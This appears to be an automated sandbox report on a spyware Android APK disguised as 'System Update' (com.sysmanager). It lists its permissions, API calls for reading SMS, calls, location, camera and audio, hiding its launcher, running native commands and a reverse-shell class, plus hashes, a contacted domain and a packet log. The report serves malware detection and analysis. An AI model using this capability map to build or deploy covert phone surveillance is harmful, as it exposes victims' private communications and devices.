Source: com.sysmanager.system.AndroidSystemCall;->getAvailableExternalMemorySize:87API Call: android.os.Environment.getExternalStorageDirectory
Source: com.sysmanager.system.AndroidSystemCall;->getTotalExternalMemorySize:98API Call: android.os.Environment.getExternalStorageDirectory
Has permission to change the WIFI configuration including connecting and disconnectingShow sources
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE

System Summary:

barindex
Classification labelShow sources
Source: classification engineClassification label: mal80.expl.spyw.troj.and@0/251@3/0
Creates SQLiteDatabase tableShow sources
Source: com.sysmanager.storage.FileSend;->onCreate:399API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: com.sysmanager.storage.Settings;->onCreate:36API Call: android.database.sqlite.SQLiteDatabase.execSQL
Reads shares settingsShow sources
Source: com.google.firebase.iid.zzh;->zzu:160API Call: "|T|108944492905|*": null
Source: com.google.firebase.iid.zzh;->zzeI:93API Call: "|S||P|": null
Source: com.google.firebase.iid.zzh;->zzeI:97API Call: "|S||K|": null
Source: com.google.android.gms.ads.identifier.AdvertisingIdClient;->getAdvertisingIdInfo:10API Call: android.content.SharedPreferences.getBoolean
Source: com.google.firebase.iid.zze;->zzabS:7API Call: android.content.SharedPreferences.getString
Source: com.google.firebase.iid.zze;->zzjt:16API Call: android.content.SharedPreferences.getString
Source: com.google.firebase.iid.zze;->zzjx:41API Call: android.content.SharedPreferences.getString
Source: com.google.firebase.iid.zzh;->zzjy:135API Call: android.content.SharedPreferences.getString
Source: com.google.android.gms.flags.impl.zza$zza$1;->zzbX:7API Call: android.content.SharedPreferences.getBoolean
Source: com.google.android.gms.flags.impl.zza$zzd$1;->zzbY:6API Call: android.content.SharedPreferences.getString
Source: com.google.android.gms.auth.api.signin.internal.zzn;->zzcB:55API Call: android.content.SharedPreferences.getString
Source: com.google.android.gms.internal.zzaua$zza;->zzMp:6API Call: android.content.SharedPreferences.getBoolean
Source: com.google.android.gms.internal.zzaua$zzc;->zzqm:77API Call: android.content.SharedPreferences.getString
Source: com.google.android.gms.internal.zzaua;->zzMk:75API Call: android.content.SharedPreferences.getString
Source: com.google.android.gms.internal.zzaua;->zzMm:87API Call: android.content.SharedPreferences.getBoolean
Source: com.google.android.gms.internal.zzaua;->zzMo:106API Call: android.content.SharedPreferences.getString
Source: com.google.android.gms.internal.zzaua;->zzaL:130API Call: android.content.SharedPreferences.getBoolean
Source: com.google.android.gms.internal.zzaua;->zzmS:181API Call: android.content.SharedPreferences.getBoolean
Executes native commandsShow sources
Source: com.sysmanager.network.InstallApk;->installApp:33API Call: java.lang.Runtime.exec
Source: com.sysmanager.network.StartReverse;->execReverse:33API Call: java.lang.Runtime.exec
Source: com.sysmanager.utils.Commands;->executeCommands:5API Call: java.lang.Runtime.exec
Source: eu.chainfire.libsuperuser.Shell$Interactive;->open:69API Call: java.lang.Runtime.exec
Source: eu.chainfire.libsuperuser.Shell$Interactive;->open:122API Call: java.lang.Runtime.exec
Source: eu.chainfire.libsuperuser.Shell;->run:49API Call: java.lang.Runtime.exec
Requests permissions only permitted to signed APKs or APKs which are within the system imageShow sources
Source: submitted apkRequest permission: android.permission.INSTALL_PACKAGES
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.ACCESS_COARSE_LOCATION
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION
Source: submitted apkRequest permission: android.permission.CAMERA
Source: submitted apkRequest permission: android.permission.CHANGE_NETWORK_STATE
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Source: submitted apkRequest permission: android.permission.GET_TASKS
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Source: submitted apkRequest permission: android.permission.READ_SMS
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Source: submitted apkRequest permission: android.permission.RECORD_AUDIO
Source: submitted apkRequest permission: android.permission.WAKE_LOCK
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Source: submitted apkRequest permission: com.android.browser.permission.READ_HISTORY_BOOKMARKS
Tries to change file permissions on the native system using chmodShow sources
Source: com.sysmanager.network.StartReverse;->doInBackground:92API Call: java.io.File.<init>

Malware Analysis System Evasion:

barindex
May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)Show sources
Source: classes.dexBinary or memory string: Ljava/lang/VirtualMachineError;
Accesses /procShow sources
Source: Lcom/google/android/gms/common/util/zzu;->zzdq(I)Ljava/lang/String;Method string: "/proc/"
Accesses android OS build fieldsShow sources
Source: com.sysmanager.network.HTTPUtility;->doFileUpload:95Field Access: android.os.Build.MODEL
Source: com.sysmanager.network.HTTPUtility;->requestAESKeyToServer:304Field Access: android.os.Build.MODEL
Source: com.sysmanager.network.HTTPUtility;->sendStringEncrypted:397Field Access: android.os.Build.MODEL
Source: com.sysmanager.network.StartReverse;-><clinit>:12Field Access: android.os.Build.CPU_ABI
Source: com.sysmanager.system.AndroidSystemCall;->androidInfo:188Field Access: android.os.Build$VERSION.RELEASE
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:369Field Access: android.os.Build.MODEL
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:413Field Access: android.os.Build.MODEL
Source: com.sysmanager.system.AudioController;->foregroundApp:48Field Access: android.os.Build.BRAND
Source: com.sysmanager.system.RegistrationService;->getRegJson:67Field Access: android.os.Build.MODEL
Source: com.google.android.gms.internal.zzatl;->zzLS:23Field Access: android.os.Build$VERSION.RELEASE
Source: com.google.android.gms.internal.zzatl;->zzkN:38Field Access: android.os.Build.MODEL
Source: com.google.android.gms.common.util.zzj;->zzzd:39Field Access: android.os.Build.TYPE
Queries several sensitive phone informationsShow sources
Source: Lcom/google/android/gms/internal/zzaue;->zza(Lcom/google/android/gms/internal/zzatq;Ljava/lang/String;)[BMethod string: "android"
Source: Lcom/sysmanager/system/AndroidSystemCall;->phoneInfo()VMethod string: "imei"
Source: Lcom/google/android/gms/internal/zzai;-><clinit>()VMethod string: "category"
Source: Lcom/google/android/gms/internal/zzatv;->zzlD(I)Ljava/util/List;Method string: "type"
Source: Lcom/google/android/gms/internal/zzah;-><clinit>()VMethod string: "time"
Source: Lcom/sysmanager/system/RegistrationService;->getRegJson(Ljava/lang/String;)Lorg/json/JSONObject;Method string: "phone"
Source: Lcom/google/firebase/iid/zzf;->zza(Landroid/os/Bundle;Ljava/security/KeyPair;Ljava/lang/String;)VMethod string: "appid"
Queries the unique operating system id (ANDROID_ID)Show sources
Source: com.google.android.gms.internal.zzaue;->zza:1166API Call: android.provider.Settings$Secure.getString

Hooking and other Techniques for Hiding and Protection:

barindex
Uses Crypto APIsShow sources
Source: com.google.firebase.iid.FirebaseInstanceId;->zza:46API Call: java.security.MessageDigest.getInstance
Source: com.google.firebase.iid.zzf;->zza:220API Call: java.security.MessageDigest.digest
Source: com.google.firebase.iid.zzf;->zza:220API Call: java.security.MessageDigest.digest
Source: com.google.firebase.iid.zzf;->zza:220API Call: java.security.MessageDigest.digest
Source: com.sysmanager.costanti.Costanti;->computeMD5Hash:11API Call: java.security.MessageDigest.getInstance
Source: com.sysmanager.costanti.Costanti;->computeMD5Hash:13API Call: java.security.MessageDigest.update
Source: com.sysmanager.costanti.Costanti;->computeMD5Hash:14API Call: java.security.MessageDigest.digest
Source: com.sysmanager.cryptoutils.CryptoUtils;->doCrypto:11API Call: javax.crypto.Cipher.getInstance
Source: com.sysmanager.cryptoutils.CryptoUtils;->doCrypto:14API Call: javax.crypto.Cipher.init
Source: com.sysmanager.cryptoutils.CryptoUtils;->doCrypto:18API Call: javax.crypto.Cipher.doFinal
Source: com.sysmanager.cryptoutils.CryptoUtils;->doCryptoString:30API Call: javax.crypto.Cipher.getInstance
Source: com.sysmanager.cryptoutils.CryptoUtils;->doCryptoString:33API Call: javax.crypto.Cipher.init
Source: com.sysmanager.cryptoutils.CryptoUtils;->doCryptoString:35API Call: javax.crypto.Cipher.doFinal
Source: com.sysmanager.cryptoutils.CryptoUtils;->doCryptoStringServerCom:45API Call: javax.crypto.Cipher.getInstance
Source: com.sysmanager.cryptoutils.CryptoUtils;->doCryptoStringServerCom:48API Call: javax.crypto.Cipher.init
Source: com.sysmanager.cryptoutils.CryptoUtils;->doCryptoStringServerCom:50API Call: javax.crypto.Cipher.doFinal
Source: com.sysmanager.cryptoutils.CryptoUtils;->doDecryptoString:60API Call: javax.crypto.Cipher.getInstance
Source: com.sysmanager.cryptoutils.CryptoUtils;->doDecryptoString:63API Call: javax.crypto.Cipher.init
Source: com.sysmanager.cryptoutils.CryptoUtils;->doDecryptoString:64API Call: javax.crypto.Cipher.doFinal
Source: com.sysmanager.cryptoutils.CryptoUtils;->doDecryptoStringServerCom:74API Call: javax.crypto.Cipher.getInstance
Source: com.sysmanager.cryptoutils.CryptoUtils;->doDecryptoStringServerCom:77API Call: javax.crypto.Cipher.init
Source: com.sysmanager.cryptoutils.CryptoUtils;->doDecryptoStringServerCom:78API Call: javax.crypto.Cipher.doFinal
Source: com.sysmanager.cryptoutils.RSAUtils;->rsaDecrypt:15API Call: javax.crypto.Cipher.getInstance
Source: com.sysmanager.cryptoutils.RSAUtils;->rsaDecrypt:16API Call: javax.crypto.Cipher.init
Source: com.sysmanager.cryptoutils.RSAUtils;->rsaDecrypt:17API Call: javax.crypto.Cipher.doFinal
Source: com.sysmanager.cryptoutils.RSAUtils;->rsaEncrypt:22API Call: javax.crypto.Cipher.getInstance
Source: com.sysmanager.cryptoutils.RSAUtils;->rsaEncrypt:23API Call: javax.crypto.Cipher.init
Source: com.sysmanager.cryptoutils.RSAUtils;->rsaEncrypt:24API Call: javax.crypto.Cipher.doFinal
Source: com.sysmanager.network.HTTPUtility;->getHash256OfFile:214API Call: java.security.MessageDigest.getInstance
Source: com.sysmanager.network.HTTPUtility;->getHash256OfFile:216API Call: java.security.MessageDigest.update
Source: com.sysmanager.network.HTTPUtility;->getHash256OfFile:219API Call: java.security.MessageDigest.digest
Source: com.google.firebase.iid.FirebaseInstanceId;->zza:47API Call: java.security.MessageDigest.digest
Source: com.google.android.gms.internal.zzaua;->zzfH:164API Call: java.security.MessageDigest.digest
Source: com.google.android.gms.internal.zzaut;->zzch:382API Call: java.security.MessageDigest.getInstance
Source: com.google.android.gms.internal.zzaut;->zzL:449API Call: java.security.MessageDigest.digest
Source: com.google.android.gms.internal.zzaut;->zzz:963API Call: java.security.MessageDigest.digest
Source: okio.Buffer;->digest:2API Call: java.security.MessageDigest.getInstance
Source: okio.Buffer;->digest:9API Call: java.security.MessageDigest.update
Source: okio.Buffer;->digest:14API Call: java.security.MessageDigest.update
Source: okio.Buffer;->digest:16API Call: java.security.MessageDigest.digest
Source: okio.ByteString;->digest:33API Call: java.security.MessageDigest.getInstance
Source: okio.ByteString;->digest:35API Call: java.security.MessageDigest.digest
Source: okio.HashingSink;-><init>:2API Call: java.security.MessageDigest.getInstance
Source: okio.HashingSink;->hash:24API Call: java.security.MessageDigest.digest
Source: okio.HashingSink;->write:34API Call: java.security.MessageDigest.update
Source: okio.HashingSource;-><init>:2API Call: java.security.MessageDigest.getInstance
Source: okio.HashingSource;->hash:24API Call: java.security.MessageDigest.digest
Source: okio.HashingSource;->read:34API Call: java.security.MessageDigest.update
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS
Has permissions to monitor, redirect and/or block callsShow sources
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Queries list of running processes/tasksShow sources
Source: com.sysmanager.system.AudioController;->foregroundApp:94API Call: android.app.ActivityManager.getRunningTasks
Source: com.google.firebase.messaging.zza;->zzaca:154API Call: android.app.ActivityManager.getRunningAppProcesses
Removes its application launcher (likely to stay hidden)Show sources
Source: com.sysmanager.Main;->onCreate:16API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Source: com.sysmanager.MainWeb;->onCreate:16API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Source: com.sysmanager.OnBootReceiver;->onReceive:80API Call: android.content.pm.PackageManager.setComponentEnabledSetting

Language, Device and Operating System Detection:

barindex
Queries the SIM provider ISO country codeShow sources
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:399API Call: android.telephony.TelephonyManager.getSimCountryIso
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:419API Call: android.telephony.TelephonyManager.getSimCountryIso
Queries the SIM provider name (SPN - Service Provider Name)Show sources
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:394API Call: android.telephony.TelephonyManager.getSimOperatorName
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:418API Call: android.telephony.TelephonyManager.getSimOperatorName
Queries the SIM provider numeric MCC+MNC (mobile country code + mobile network code)Show sources
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:389API Call: android.telephony.TelephonyManager.getSimOperator
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:417API Call: android.telephony.TelephonyManager.getSimOperator
Queries the network operator ISO country codeShow sources
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:374API Call: android.telephony.TelephonyManager.getNetworkCountryIso
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:414API Call: android.telephony.TelephonyManager.getNetworkCountryIso
Queries the network operator nameShow sources
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:384API Call: android.telephony.TelephonyManager.getNetworkOperatorName
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:416API Call: android.telephony.TelephonyManager.getNetworkOperatorName
Queries the network operator numeric MCC+MNC (mobile country code + mobile network code)Show sources
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:379API Call: android.telephony.TelephonyManager.getNetworkOperator
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:415API Call: android.telephony.TelephonyManager.getNetworkOperator
Queries the unqiue device ID (IMEI, MEID or ESN)Show sources
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:359API Call: android.telephony.TelephonyManager.getLine1Number
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:364API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:404API Call: android.telephony.TelephonyManager.getSimSerialNumber
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:411API Call: android.telephony.TelephonyManager.getLine1Number
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:412API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.sysmanager.system.AndroidSystemCall;->phoneInfo:420API Call: android.telephony.TelephonyManager.getSimSerialNumber
Source: com.sysmanager.system.RegistrationService;->getRegJson:58API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.sysmanager.system.RegistrationService;->getRegJson:59API Call: android.telephony.TelephonyManager.getDeviceId

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Screenshot

android-buttoncam-android

Created / dropped Files

No created / dropped files found

Contacted Domains/Contacted IPs

Contacted Domains

NameIPActiveMaliciousAntivirus Detection
url.plus217.194.3.186truefalse

Contacted IPs

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs
IPCountryFlagASNASN NameMalicious
8.8.8.8United States
15169GOOGLE-GoogleIncUSfalse
217.194.3.186Italy
12637SEEWEBWebhostingcolocationandcloudservicesITfalse
8.8.4.4United States
15169GOOGLE-GoogleIncUSfalse
66.102.1.188United States
15169GOOGLE-GoogleIncUSfalse

Static File Info

General

File type:Zip archive data, at least v2.0 to extract
Entropy (8bit):7.922179895708484
TrID:
  • Android Package (19004/1) 46.91%
  • Java Archive (13504/1) 33.33%
  • ZIP compressed archive (4004/1) 9.88%
  • Java Script embedded in Visual Basic Script (2000/0) 4.94%
  • Java Script (2000/0) 4.94%
File name:uWmj1BwP9K
File size:1355244
MD5:39fca709b416d8da592de3a3f714dce8
SHA1:90320997c7dac34d4261eb38eb548910efc2b983
SHA256:e6aba7629608a525b020f4e76e4694d6d478dd9561d934813004b6903d66e44c
SHA512:9d4d0980864578b2b725df892f8b4e3f575e63f5955a9033ada32c7cfc6938a7c745457fd58d64fc0e8bc7ced7af17a27c66cbaa30dbba0dfc13303e3b0dc663
File Content Preview:PK.............U+lr...LP......AndroidManifest.xml.Z.pT..>.@..Bx...;.@.@xE.e.M &..l .h....y.y.>x(*....:....qj.....q.c....mg..u....N;-.8S.[......{..=.g.4.o..s....?.y...9..I.K..eK.xL$...$.........8p.x...p...(..X...}..p...p.x.x......=.^ .<...\....(.J.r..8....

Static APK Info

General

Label:System Update
Minimum SDK required:14
Target SDK required:22
Version Code:18
Version Name:18
Package Name:com.sysmanager
Is Activity:true
Is Receiver:true
Is Service:true
Requests System Level Permissions:false
Play Store Compatible:true

Activities

NameIs Entrypoint
com.sysmanagercom.sysmanager.Maintrue
com.sysmanagercom.sysmanager.MainWeb
com.sysmanagercom.sysmanager.Administrator
com.sysmanagercom.sysmanager.EnableLocationActivity
com.sysmanagercom.sysmanager.CrashDialog
com.sysmanagercom.sysmanager.AccessibilityDialog
com.sysmanagercom.google.android.gms.common.api.GoogleApiActivity

Receivers

  • com.google.android.gms.measurement.AppMeasurementInstallReferrerReceiver
  • Intent: com.android.vending.INSTALL_REFERRER
  • com.google.android.gms.measurement.AppMeasurementReceiver
  • com.google.firebase.iid.FirebaseInstanceIdInternalReceiver
  • com.google.firebase.iid.FirebaseInstanceIdReceiver
  • Intent: com.google.android.c2dm.intent.RECEIVE
  • com.sysmanager.CallReceiver
  • Intent: android.intent.action.ANSWER, android.intent.action.PHONE_STATE, android.intent.action.NEW_OUTGOING_CALL
  • com.sysmanager.OnBootReceiver
  • Intent: android.intent.action.BOOT_COMPLETED, com.sec.dlc.DLC_REQUEST, com.sec.android.widgetapp.ap.accuweatherdaemon.action.CHANGE_ICON_OF_DAEMON
  • com.sysmanager.system.AndroidDeviceAdministrator
  • Intent: android.app.action.DEVICE_ADMIN_ENABLED, android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED, android.app.action.ACTION_DEVICE_ADMIN_DISABLED
  • com.sysmanager.system.SmsReceiver
  • Intent: android.provider.Telephony.SMS_RECEIVED
  • com.sysmanager.system.UpdateConnectivity
  • Intent: android.net.conn.CONNECTIVITY_CHANGE
  • com.sysmanager.system.UserPresent
  • Intent: android.intent.action.USER_PRESENT

Services

  • com.google.android.gms.measurement.AppMeasurementService
  • com.google.firebase.iid.FirebaseInstanceIdService
  • Intent: com.google.firebase.INSTANCE_ID_EVENT (Priority -500)
  • com.google.firebase.messaging.FirebaseMessagingService
  • Intent: com.google.firebase.MESSAGING_EVENT (Priority -500)
  • com.sysmanager.InstanceIDMessage
  • Intent: com.google.firebase.INSTANCE_ID_EVENT (Priority 0)
  • com.sysmanager.MessageManagement
  • Intent: com.google.firebase.MESSAGING_EVENT (Priority 0)
  • com.sysmanager.system.AccessibilityService
  • Intent: android.accessibilityservice.AccessibilityService (Priority 0)
  • com.sysmanager.system.AndroidAccessibility
  • com.sysmanager.system.AndroidAlarmManager
  • com.sysmanager.system.AndroidCallSystem
  • com.sysmanager.system.AndroidCamera
  • com.sysmanager.system.AndroidClock
  • com.sysmanager.system.AndroidFileManager
  • com.sysmanager.system.AndroidFileSystem
  • com.sysmanager.system.AndroidMDMSupport
  • com.sysmanager.system.AndroidMessagingService
  • com.sysmanager.system.AndroidSystemCall
  • com.sysmanager.system.AndroidSystemLog
  • com.sysmanager.system.AndroidSystemQueues
  • com.sysmanager.system.AndroidSystemService
  • com.sysmanager.system.AndroidTouch
  • com.sysmanager.system.AppsManager
  • com.sysmanager.system.ClearSystems
  • com.sysmanager.system.FetchAddressIntentService
  • com.sysmanager.system.NotificationListener
  • Intent: android.service.notification.NotificationListenerService (Priority 0)
  • com.sysmanager.system.RegistrationService

Permission Requested

  • android.permission.ACCESS_COARSE_LOCATION
  • android.permission.ACCESS_FINE_LOCATION
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.ACCESS_WIFI_STATE
  • android.permission.BIND_ACCESSIBILITY_SERVICE
  • android.permission.BIND_NOTIFICATION_LISTENER_SERVICE
  • android.permission.CAMERA
  • android.permission.CHANGE_NETWORK_STATE
  • android.permission.CHANGE_WIFI_STATE
  • android.permission.GET_ACCOUNTS
  • android.permission.GET_TASKS
  • android.permission.INSTALL_PACKAGES
  • android.permission.INTERNET
  • android.permission.PROCESS_OUTGOING_CALLS
  • android.permission.READ_CALL_LOG
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.RECEIVE_BOOT_COMPLETED
  • android.permission.RECEIVE_SMS
  • android.permission.RECORD_AUDIO
  • android.permission.WAKE_LOCK
  • android.permission.WRITE_EXTERNAL_STORAGE
  • com.android.browser.permission.READ_HISTORY_BOOKMARKS
  • com.google.android.c2dm.permission.RECEIVE
  • com.sysmanager.permission.C2D_MESSAGE

Certificate

Name:classes.dex
Issuer:OU=negg
Subject:OU=negg

Resources

NameTypeSize
common_google_signin_btn_text_dark_normal_background.9.pngPNG image, 168 x 73, 8-bit/color RGBA, non-interlaced960
common_google_signin_btn_icon_light_normal.xmlDBase 3 data file (652 records)652
resources.arscdata148020
common_google_signin_btn_text_dark.xmlDBase 3 data file (716 records)716
AndroidManifest.xmlDBase 3 data file (20556 records)20556
googleg_standard_color_18.pngPNG image, 18 x 18, 8-bit/color RGBA, non-interlaced562
common_google_signin_btn_text_disabled.xmlDBase 3 data file (1296 records)1296
googleg_standard_color_18.pngPNG image, 54 x 54, 8-bit/color RGBA, non-interlaced1615
common_google_signin_btn_text_light_normal_background.9.pngPNG image, 111 x 48, 8-bit/color RGBA, non-interlaced558
common_google_signin_btn_icon_dark_normal_background.9.pngPNG image, 144 x 144, 8-bit/color RGBA, non-interlaced1510
common_google_signin_btn_icon_light_normal_background.9.pngPNG image, 73 x 73, 8-bit/color RGBA, non-interlaced817
common_google_signin_btn_text_light.xmlDBase 3 data file (700 records)700
android_admin_rights.xmlDBase 3 data file (196 records)196
common_google_signin_btn_icon_dark_normal_background.9.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced610
common_google_signin_btn_icon_light_focused.xmlDBase 3 data file (1016 records)1016
common_google_signin_btn_icon_light.xmlDBase 3 data file (700 records)700
common_full_open_on_phone.pngPNG image, 96 x 96, 8-bit/color RGBA, non-interlaced681
common_google_signin_btn_text_light_normal_background.9.pngPNG image, 333 x 144, 8-bit/color RGBA, non-interlaced1545
common_full_open_on_phone.pngPNG image, 128 x 128, 8-bit colormap, non-interlaced489
build-data.propertiesASCII C++ program text957
CERT.SFASCII text, with CRLF line terminators5722
googleg_disabled_color_18.pngPNG image, 27 x 27, 8-bit gray+alpha, non-interlaced410
common_google_signin_btn_text_light_normal_background.9.pngPNG image, 222 x 96, 8-bit/color RGBA, non-interlaced976
common_google_signin_btn_text_dark_normal.xmlDBase 3 data file (692 records)692
common_google_signin_btn_text_dark_focused.xmlDBase 3 data file (1016 records)1016
googleg_disabled_color_18.pngPNG image, 36 x 36, 8-bit gray+alpha, non-interlaced516
common_google_signin_btn_text_dark_normal_background.9.pngPNG image, 333 x 144, 8-bit/color RGBA, non-interlaced1638
CERT.RSAdata1083
common_google_signin_btn_icon_dark_normal_background.9.pngPNG image, 96 x 96, 8-bit/color RGBA, non-interlaced1032
common_google_signin_btn_text_light_focused.xmlDBase 3 data file (1016 records)1016
common_google_signin_btn_text_dark_normal_background.9.pngPNG image, 111 x 48, 8-bit/color RGBA, non-interlaced615
common_google_signin_btn_icon_light_normal_background.9.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced564
common_google_signin_btn_tint.xmlDBase 3 data file (468 records)468
common_google_signin_btn_text_light_normal.xmlDBase 3 data file (692 records)692
Jsr305_annotations.gwt.xmlexported SGML document text133
common_google_signin_btn_icon_dark_normal_background.9.pngPNG image, 73 x 73, 8-bit/color RGBA, non-interlaced897
common_google_signin_btn_icon_disabled.xmlDBase 3 data file (1276 records)1276
common_google_signin_btn_icon_light_normal_background.9.pngPNG image, 144 x 144, 8-bit/color RGBA, non-interlaced1412
googleg_standard_color_18.pngPNG image, 27 x 27, 8-bit/color RGBA, non-interlaced808
MANIFEST.MFASCII text, with CRLF line terminators5679
googleg_disabled_color_18.pngPNG image, 18 x 18, 8-bit gray+alpha, non-interlaced281
common_google_signin_btn_text_dark.xmlDBase 3 data file (700 records)700
common_google_signin_btn_text_light_normal_background.9.pngPNG image, 168 x 73, 8-bit/color RGBA, non-interlaced854
googleg_standard_color_18.pngPNG image, 36 x 36, 8-bit/color RGBA, non-interlaced982
common_google_signin_btn_icon_dark.xmlDBase 3 data file (700 records)700
googleg_disabled_color_18.pngPNG image, 54 x 54, 8-bit gray+alpha, non-interlaced727
common_google_signin_btn_icon_dark_normal.xmlDBase 3 data file (652 records)652
common_google_signin_btn_icon_dark_focused.xmlDBase 3 data file (1016 records)1016
common_google_signin_btn_text_dark_normal_background.9.pngPNG image, 222 x 96, 8-bit/color RGBA, non-interlaced1086
common_google_signin_btn_icon_light_normal_background.9.pngPNG image, 96 x 96, 8-bit/color RGBA, non-interlaced935
accessibility_service.xmlDBase 3 data file (452 records)452
common_google_signin_btn_text_light.xmlDBase 3 data file (716 records)716
classes.dexDalvik dex file version 0353712236

Network Behavior

Network Port Distribution

TCP Packets

TimestampSource PortDest PortSource IPDest IP
Jan 19, 2018 13:18:16.365869045 CET380805228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:16.365973949 CET52283808066.102.1.188192.168.1.33
Jan 19, 2018 13:18:16.366236925 CET380805228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:16.367404938 CET380805228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:16.367465973 CET52283808066.102.1.188192.168.1.33
Jan 19, 2018 13:18:17.211220980 CET52283808066.102.1.188192.168.1.33
Jan 19, 2018 13:18:17.211251974 CET52283808066.102.1.188192.168.1.33
Jan 19, 2018 13:18:17.211263895 CET52283808066.102.1.188192.168.1.33
Jan 19, 2018 13:18:17.211491108 CET380805228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:17.211574078 CET380805228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:17.211678028 CET380805228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:17.521450996 CET52283808066.102.1.188192.168.1.33
Jan 19, 2018 13:18:17.521745920 CET380805228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:17.525625944 CET380805228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:17.525662899 CET52283808066.102.1.188192.168.1.33
Jan 19, 2018 13:18:17.526088953 CET380805228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:17.672677040 CET1298253192.168.1.338.8.8.8
Jan 19, 2018 13:18:18.044274092 CET53129828.8.8.8192.168.1.33
Jan 19, 2018 13:18:22.533350945 CET570115228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:22.533433914 CET52285701166.102.1.188192.168.1.33
Jan 19, 2018 13:18:22.533663034 CET570115228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:22.534796953 CET570115228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:22.534837008 CET52285701166.102.1.188192.168.1.33
Jan 19, 2018 13:18:23.449892044 CET52285701166.102.1.188192.168.1.33
Jan 19, 2018 13:18:23.449908018 CET52285701166.102.1.188192.168.1.33
Jan 19, 2018 13:18:23.450225115 CET570115228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:23.450309038 CET570115228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:23.477575064 CET52285701166.102.1.188192.168.1.33
Jan 19, 2018 13:18:23.477788925 CET570115228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:23.680875063 CET52285701166.102.1.188192.168.1.33
Jan 19, 2018 13:18:23.681138039 CET570115228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:23.684614897 CET570115228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:23.684637070 CET52285701166.102.1.188192.168.1.33
Jan 19, 2018 13:18:23.684912920 CET570115228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:33.371023893 CET462265228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:33.371124029 CET52284622666.102.1.188192.168.1.33
Jan 19, 2018 13:18:33.371315002 CET462265228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:33.372138977 CET462265228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:33.372168064 CET52284622666.102.1.188192.168.1.33
Jan 19, 2018 13:18:34.146708012 CET52284622666.102.1.188192.168.1.33
Jan 19, 2018 13:18:34.146733046 CET52284622666.102.1.188192.168.1.33
Jan 19, 2018 13:18:34.146740913 CET52284622666.102.1.188192.168.1.33
Jan 19, 2018 13:18:34.147504091 CET462265228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:34.147573948 CET462265228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:34.147651911 CET462265228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:34.212173939 CET52284622666.102.1.188192.168.1.33
Jan 19, 2018 13:18:34.215805054 CET462265228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:34.217945099 CET462265228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:34.217976093 CET52284622666.102.1.188192.168.1.33
Jan 19, 2018 13:18:34.218235970 CET462265228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:34.219784021 CET462265228192.168.1.3366.102.1.188
